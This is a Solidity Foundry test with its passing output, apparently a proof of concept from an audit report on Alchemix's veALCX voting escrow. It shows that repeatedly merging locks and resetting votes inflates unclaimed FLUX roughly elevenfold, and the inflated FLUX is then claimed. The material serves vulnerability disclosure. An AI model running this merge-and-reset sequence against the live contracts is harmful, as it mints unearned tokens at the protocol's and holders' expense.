function testMergeFlux() public {
uint256 previousTokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, true);
console2.log("Starting Unclaimed Flux", flux.unclaimedFlux(previousTokenId));
uint256 nextTokenId;
vm.startPrank(admin);
voter.reset(previousTokenId);
console2.log("Unclaimed Flux after reset", flux.unclaimedFlux(previousTokenId));
for (uint256 i; i < 10; i++) {
nextTokenId = createVeAlcx(admin, 1, MAXTIME, true);
veALCX.merge(previousTokenId, nextTokenId);
voter.reset(nextTokenId);
previousTokenId = nextTokenId;
}
console2.log("Unclaimed Flux after 10 iterations", flux.unclaimedFlux(nextTokenId));
flux.claimFlux(nextTokenId, flux.unclaimedFlux(nextTokenId));
console2.log("Flux ERC20 balance", flux.balanceOf(admin));
}
Results
[⠒] Compiling...
Ran 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] testMergeFlux() (gas: 9703837)
Logs:
Starting Unclaimed Flux 0
Unclaimed Flux after reset 984526667926843455
Unclaimed Flux after 10 iterations 10829793347195278005
Flux ERC20 balance 10829793347195278005
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 32.92s (24.57s CPU time)
Ran 1 test suite in 34.78s (32.92s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)